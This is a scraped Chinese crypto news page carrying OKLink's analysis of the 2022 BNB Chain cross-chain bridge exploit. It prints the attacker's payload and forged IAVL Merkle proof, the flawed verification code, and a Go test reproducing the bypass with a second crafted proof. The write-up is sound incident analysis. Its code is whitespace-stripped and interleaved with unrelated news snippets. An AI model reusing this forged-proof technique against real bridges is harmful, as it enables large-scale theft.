以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads
首頁 > 酷幣 > Info

PRO:歐科云鏈鏈上衛士:BNBChain遭攻擊事件深度解析

Author:

Time:1900/1/1 0:00:00

事件背景

北京時間2022年10月7日凌晨,BNB??Chian跨鏈橋BSCTokenHub遭遇攻擊。黑客利用跨鏈橋漏洞分兩次共獲取200萬枚BNB,價值約5.66億美元。

漏洞分析

BSCTokenHub是BNB信標鏈和BNB鏈之間的跨鏈橋。BNB鏈使用預編譯合約0x65驗證BNB信標鏈提交的IAVL的Proof,但BNB鏈對提交的Proof邊界情況處理不足,它僅考慮了Proof只有一個Leaf的場景,對多個Leaves的處理邏輯不夠嚴謹。黑客構造了一個包含多Leaves的Proof數據,繞過BNBChain上的校驗,從而在BNB鏈造成了BNB增發。

以其中一次攻擊交易為例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

黑客構造輸入數據payload和proof,輸入參數通過validateMerkleProof校驗,返回值為true。

在后續IApplication(handlerContract).handleSynPackage處理中,合約給黑客增發100萬個BNB。

函數調用過程

交易首先調用CrossChain合約0x2000的handlePackage函數:

?functionhandlePackage(bytescalldatapayload,bytescalldataproof,uint64height,uint64packageSequence,uint8channelId)onlyInitonlyRelayer???sequenceInOrder(packageSequence,channelId)blockSynced(height)channelSupported(channelId)external{??bytesmemorypayloadLocal=payload;//fixerror:stacktoodeep,tryremovinglocalvariables??bytesmemoryproofLocal=proof;//fixerror:stacktoodeep,tryremovinglocalvariables?require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),STORE_NAME,generateKey(packageSequence,channelId),payloadLocal,proofLocal),"invalidmerkleproof");??addresspayableheaderRelayer=ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);??......??if(packageType==SYN_PACKAGE){???addresshandlerContract=channelHandlerContractMap;???tryIApplication(handlerContract).handleSynPackage(channelIdLocal,msgBytes)returns(bytesmemoryresponsePayload){?if(responsePayload.length!=0){?????sendPackage(channelSendSequenceMap,channelIdLocal,encodePayload(ACK_PACKAGE,0,responsePayload));?????channelSendSequenceMap=channelSendSequenceMap1;????}???}???......??}??......??IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer,msg.sender,relayFee,isRelayRewardFromSystemReward||packageType!=SYN_PACKAGE);?}?輸入參數{?"payload":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",?"height":110217401,?"packageSequence":17684572,?"channelId":2}

歐科云鏈OKLink斬獲“2020年度金融科技先鋒獎”:3月27日消息,歐科云鏈OKLink在《華夏時報》主辦的主題為“金融業2021:雙循環下的變革與信心”的華夏機構投資者年會上,斬獲“2020年度金融科技先鋒獎”。

OKLink是首家區塊鏈大數據公司,基于區塊鏈+大數據技術為用戶提供精準的鏈上數據分析、高延展的信息解決方案及區塊鏈科普教育服務。 目前已落地的產品包括高性能、多幣種“區塊鏈瀏覽器”、鏈上追蹤工具 OKLink 鏈上天眼及歐科學院。[2021/3/27 19:23:13]

handlePackage會進一步調用MerkleProof.validateMerkleProof對輸入的proof進行校驗:

//函數原型:functionvalidateMerkleProof(??bytes32appHash,??stringmemorystoreName,??bytesmemorykey,??bytesmemoryvalue,??bytesmemoryproof)//函數調用:MerkleProof.validateMerkleProof(??ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),??STORE_NAME,??generateKey(packageSequence,channelId),??payloadLocal,??proofLocal),//調用參數:{?"appHash":"0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",?"storeName":"ibc",?"key":"0x00000100380200000000010dd85c",?"value":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}

港股行情:歐科云鏈上漲8% 火幣科技上漲13.13%:金色財經報道,香港恒生指數當前上漲80.55點,漲幅0.30%,報26540.84點,歐科集團旗下歐科云鏈(01499.HK)報0.162點,上漲8%;火幣科技(01611.HK)報3.79點,上漲13.13%,雄岸科技(01647.HK)報0.228點,上漲15.74%。[2020/12/17 15:29:05]

MerkleProof相關代碼可以看到,實際的驗證邏輯是使用預編譯合約0x65完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66

??uint256memoryresult;??/*solium-disable-next-line*/??assembly{??//callvalidateMerkleProofprecompilecontract??//Contractaddress:0x65???ifiszero(staticcall(not(0),0x65,input,length,result,0x20)){}??}??returnresult==0x01;

系統預編譯合約0x65對應iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81

系統合約0x65實現代碼如下,主要邏輯為使用DecodeKeyValueMerkleProof解碼輸入參數,并調用Validate進行校驗:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106

func(c*iavlMerkleProofValidate)Run(inputbyte)(resultbyte,errerror){??//returnnil,fmt.Errorf("suspend")??......??kvmp,err:=lightclient.DecodeKeyValueMerkleProof(input)iferr!=nil{??????returnnil,err??}??valid:=kvmp.Validate()if!valid{??????returnnil,fmt.Errorf("invalidmerkleproof")??}??result=make(byte,merkleProofValidateResultLength)??binary.BigEndian.PutUint64(result,0x01)??returnresult,nil}

其中kvmp.Validate()實現代碼如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234

func(kvmp*KeyValueMerkleProof)Validate()bool{??prt:=DefaultProofRuntime()??kp:=merkle.KeyPath{}??kp=kp.AppendKey(byte(kvmp.StoreName),merkle.KeyEncodingURL)??kp=kp.AppendKey(kvmp.Key,merkle.KeyEncodingURL)??iflen(kvmp.Value)==0{????err:=prt.VerifyAbsence(kvmp.Proof,kvmp.AppHash,kp.String())????returnerr==nil??}??err:=prt.VerifyValue(kvmp.Proof,kvmp.AppHash,kp.String(),kvmp.Value)??returnerr==nil}

DefaultProofRuntime構造函數使用IAVL庫進行Proof的驗證:

import(??"bytes"??"fmt"??"github.com/tendermint/iavl"??"github.com/tendermint/tendermint/crypto/merkle"??cmn"github.com/tendermint/tendermint/libs/common")......funcDefaultProofRuntime()(prt*merkle.ProofRuntime){??prt=merkle.NewProofRuntime()??prt.RegisterOpDecoder(merkle.ProofOpSimpleValue,merkle.SimpleValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLValue,iavl.IAVLValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence,iavl.IAVLAbsenceOpDecoder)??prt.RegisterOpDecoder(ProofOpMultiStore,MultiStoreProofOpDecoder)??return}IAVL代碼問題

IAVL的Proof校驗過程中,Hash計算存在漏洞,導致黑客可以在Proof添加數據,但計算Hash時并沒有用到添加的數據。詳細分析如下:

在len(pin.Left)不為0的分支中,計算Hash并沒有使用pin.Right數據。黑客利用該處漏洞構造數據,添加proof.LeftPath.Right數據,但是該數據并不參與Hash計算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93

港股收盤:歐科云鏈收漲1.65%,火幣科技收漲0.75%:今日港股收盤,恒生指數收盤報24309.47點,收跌0.65%;歐科集團旗下歐科云鏈(01499.HK)報0.185港元,收漲1.65%;火幣科技(01611.HK)報4.030港元,收漲0.75%。[2020/9/10]

func(pinProofInnerNode)Hash(childHashbyte)(byte,error){????hasher:=sha256.New()????buf:=bufPool.Get().(*bytes.Buffer)????buf.Reset()????deferbufPool.Put(buf)????err:=encoding.EncodeVarint(buf,int64(pin.Height))????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Size)????}????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Version)????}iflen(pin.Left)==0{iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Right)????????}????}else{iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Left)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}????}????iferr!=nil{????????returnnil,fmt.Errorf("failedtohashProofInnerNode:%v",err)????}????_,err=hasher.Write(buf.Bytes())????iferr!=nil{????????returnnil,err????}????returnhasher.Sum(nil),nil}

根據上述分析,正常數據組織結構如下,proof.LeftPath.Right為空值,計算得到正確的Hash。

proof.LeftPath=len(2)

proof.LeftPath是一個正常數據,proof.LeftPath.Left是一個正常數據,proof.LeftPath.Right空值

proof.InnerNodes=len(0)

proof.Leaves=len(1),proof.Leaves是一個正常數據

黑客構造攻擊數據結構如下,添加proof.LeftPath.Right數據,且該數據不參與Hash計算。

proof.LeftPath=len(2)

proof.LeftPath是一個正常數據,proof.LeftPath.Left是一個正常數據,proof.LeftPath.Right是一個偽造數據

proof.InnerNodes=len(1),InnerNodes=nil

proof.Leaves=len(2),proof.Leaves是一個正常數據,proof.Leaves是一個偽造數據

且proof.LeftPath.Right=COMPUTEHASH(proof.Leaves)

IAVL的Proof校驗代碼如下,主體邏輯為COMPUTEHASH遞歸調用。由于lpath.Right也為黑客輸入數據,使得黑客構造的數據能夠通過bytes.Equal(derivedRoot,lpath.Right)的校驗,并返回上一輪COMPUTEHASH通過proof.Leaves計算的結果,該結果為正常數值,從而繞過了IAVL的Proof校驗。

https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309

func(proof*RangeProof)_computeRootHash()(rootHashbyte,treeEndbool,errerror){?...??varCOMPUTEHASHfunc(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror)??//rightmost:istherootarightmostchildofthetree???//treeEnd:trueiffthelastleafisthelastitemofthetree.??//Returnsthe(possiblyintermediate,possiblyroot)hash.??COMPUTEHASH=func(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror){??????//Popnextleaf.??????nleaf,rleaves:=leaves,leaves??????leaves=rleaves??????//Computehash.??????hash,err=(pathWithLeaf{??????????Path:path,??????????Leaf:nleaf,??????}).computeRootHash()??????iferr!=nil{??????????returnnil,treeEnd,false,err??????}??????//Ifwedon'thaveanyleavesleft,we'redone.??????iflen(leaves)==0{??????????rightmost=rightmost&&path.isRightmost()??????????returnhash,rightmost,true,nil??????}??????//Provealongpath(untilwerunoutofleaves).??????forlen(path)>0{??????????//Droptheleaf-most(last-most)innernodesfrompath??????????//untilweencounteronewithalefthash.??????????//Weassumethattheleftsideisalreadyverified.??????????//rpath:restofpath??????????//lpath:lastpathitem??????????rpath,lpath:=path,path??????????path=rpath??????????iflen(lpath.Right)==0{??????????????continue??????????}??????????//Popnextinners,aPathToLeaf(e.g.ProofInnerNode).??????????inners,rinnersq:=innersq,innersq??????????innersq=rinnersq??????????//Recursivelyverifyinnersagainstremainingleaves.??????????derivedRoot,treeEnd,done,err:=COMPUTEHASH(inners,rightmost&&rpath.isRightmost())??????????iferr!=nil{??????????????returnnil,treeEnd,false,errors.Wrap(err,"recursiveCOMPUTEHASHcall")??????????}??????????if!bytes.Equal(derivedRoot,lpath.Right){returnnil,treeEnd,false,errors.Wrapf(ErrInvalidRoot,"intermediateroothash%Xdoesn'tmatch,got%X",lpath.Right,derivedRoot)??????????}ifdone{returnhash,treeEnd,true,nil??????????}??????}??????//We'renotdoneyet(leavesleftover).Noerror,notdoneeither.??????//Technicallyifrightmost,weknowthere'sanerror"leftoverleaves??????//--malformedproof",butwereturnthatatthetoplevel,below.??????returnhash,false,false,nil??}??//Verify!??path:=proof.LeftPath??rootHash,treeEnd,done,err:=COMPUTEHASH(path,true)??iferr!=nil{??????returnnil,treeEnd,errors.Wrap(err,"rootCOMPUTEHASHcall")??}elseif!done{??????returnnil,treeEnd,errors.Wrap(ErrInvalidProof,"leftoverleaves--malformedproof")??}??//Ok!??returnrootHash,treeEnd,nil}

歐科云鏈OKLink正式發布ETC區塊鏈瀏覽器:北京時間2020年5月29日,歐科云鏈OKLink正式發布ETC區塊鏈瀏覽器。新上線的ETC瀏覽器支持ETC鏈上數據查詢,還展示全網算力、難度、建議Gas費用、合約數量等重要數據。此前已經支持BTC、ETH、LTC、BCH、BSV、USDT、OKChain(Test)多個主流幣種的鏈上數據查詢與檢索,以及BTC全周期、多維度的數據統計。

據悉,歐科云鏈OKLink區塊鏈瀏覽器是由區塊鏈大數據上市公司打造的信息服務應用,旨在呈現快速、精準、全面的鏈上數據。[2020/5/29]

黑客攻擊構造的數據中,包括了IAVL:V和multistore相關數據,multistore數據也是基于IAVL進行操作,原理是一樣的,不再進行詳細分析。

這次IAVLProof暴露的問題在于,數據局部的變化無法反應到整體,使得校驗發生錯誤。在Cosmos生態中,IBC使用ICS23來做數據的校驗處理,ICS23與IAVLProof校驗不同點在于,ICS23會對所有的“葉子節點”的值進行數據校驗,最后計算得出的根Hash再與鏈上數據進行校驗,OKC采用的是ICS23的Prove,因此不存在BNBChain這次遇到的安全漏洞。

測試驗證代碼

利用黑客攻擊交易數據,基于BNBChain單元測試代碼,增加了基于黑客攻擊交易的測試用例,可以完整復現黑客的攻擊交易。單元測試代碼利用iavlMerkleProofValidate.Run接口驗證輸入數據,即相當于調用預編譯合約。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100

iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}success,err:=iavlMerkleProofValidateContract.Run(input)

利用黑客攻擊交易數據,構造新的payload數據為value:=byte(“okctesthack”),并對proof相應數據進行了修改,即修改proof.LeftPath.Right和proof.Leaves對應的數據,新構造的數據可以通過okcIavlMerkleProofValidate校驗,即修改了黑客數據也能通過校驗。另外,如下單元測試代碼對原始黑客數據和修改后的數據兩種case都進行了校驗,且校驗都能成功,從而說明如下測試代碼利用本文所述漏洞成功進行了復現。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958

funcTestTmHeaderValidateAndMerkleProofValidateTest(t*testing.T){????testCases:=struct{????????name?string????????valuebyte????????proofbyte??}{????{??????//datasourcehttps://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b??????"hackdata",??????func()byte{??????????value,err:=hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")??????????require.NoError(t,err)??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},????{??????"okctestdata",??????func()byte{??????????value:=byte("okctesthack")??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},??}??for_,tc:=rangetestCases{????okcIavlMerkleProofValidate(tc.value,tc.proof,t)??}}funcokcIavlMerkleProofValidate(value,proofBytesbyte,t*testing.T){??key,err:=hex.DecodeString("00000100380200000000010dd85c")//thisequaltogenerateKey(17684572,2)??require.NoError(t,err)??newAppHash,err:=hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318")//thisisgotbyhackdata??require.NoError(t,err)??merkleProofInput:=make(byte,3232len(key)32len(value)32len(proofBytes))??copy(merkleProofInput,"ibc")??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(key)))??copy(merkleProofInput,key)??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(value)))??copy(merkleProofInput,value)??copy(merkleProofInput,newAppHash)??copy(merkleProofInput,proofBytes)??totalLengthPrefix:=make(byte,32)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,uint64(len(merkleProofInput)))??input:=append(totalLengthPrefix,merkleProofInput...)??iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}??success,err:=iavlMerkleProofValidateContract.Run(input)??require.NoError(t,err,err)??expectedResult:=make(byte,32)??binary.BigEndian.PutUint64(expectedResult,0x01)??require.Equal(t,expectedResult,success。

港股收盤:歐科云鏈收跌1.36% 火幣科技收漲4.29%:金色財經報道,今日港股收盤,恒生指數報22663.49點,收漲4.46%;歐科集團旗下歐科云鏈(01499.HK)報0.217點,收跌1.36%;火幣科技(01611.HK)報3.160點,收漲4.29%;雄岸科技(01647.HK)報0.209點,收漲1.95%。[2020/3/24]

事件過程

被攻擊全過程可查看上一篇文章:鏈上衛士:BNBChain遭攻擊時間軸梳理。OKLink多鏈瀏覽器已對BNBChain黑客地址進行風險標簽標記,關于此次被盜后續,鏈上衛士團隊將進一步追蹤案件細節并及時同步。

Tags:ROOPROProofVALshrooms幣ai迷因幣Infinity Protocol BSCProof Of PepeTop Down Survival Shooter

酷幣
FED:經濟學家預測Fed會加息!或能見到1萬美元比特幣

美國在周五(7日)晚間公布的8月非農就業數據超乎預期,失業率也從上個月的3.7%顯著下降至3.5%,此數據顯示就業市場正在穩健站穩跟腳,市場預期聯準會(Fed)將維持加息步調.

1900/1/1 0:00:00
SHI:Shiba Inu價格預測–SHIB會達到1美元嗎?

ShibaInu價格預測略微看跌,因為meme硬幣違反了對稱三角形模式,現在它的交易價格為0.00001106美元。盡管從火幣交易所撤出1.72萬億SHIB,但SHIB未能獲得看漲勢頭.

1900/1/1 0:00:00
COI:受國慶假期影響,數字藏品國內周指數下跌至31.5點

金色財經報道,據同伴客數據顯示,上周數字藏品國際周指數下跌6.8點至12.8點,本計算周期內只有兩個工作日,國內指數受此影響大幅下跌40.8點至31.5點.

1900/1/1 0:00:00
EOS:BNB Chain在價值 1 億美元的跨鏈橋接攻擊后暫停網絡

區塊鏈團隊證實了有關BNB鏈上重大漏洞的傳言,所有存款和取款都在網絡上暫停。公眾號:幣圈一級市場阿生所有平臺均為,由于平臺限制,圖片未能展現出來,大家可以到公眾平臺閱讀此文BNB鏈,加密貨幣交易.

1900/1/1 0:00:00
NET:TA:比特幣價格不會悄然下跌

比特幣價格正在鞏固兌美元匯率19,200美元支撐區域上方的跌幅。如果明顯高于19,700美元,BTC可能會開始新的上漲。比特幣在19,550美元和19,600美元的阻力位附近面臨障礙.

1900/1/1 0:00:00
COI:Dcoin(大幣網) 暫停BSC鏈充提公告(已恢復)

親愛的Dcoin用戶: 大幣網(Dcoin)現已恢復基于BSC鏈的代幣的充提使用。維護期間給您帶來的不便,敬請諒解,感謝您對大幣網(Dcoin)的支持! Dcoin全球運營團隊 Worldcoi.

1900/1/1 0:00:00
ads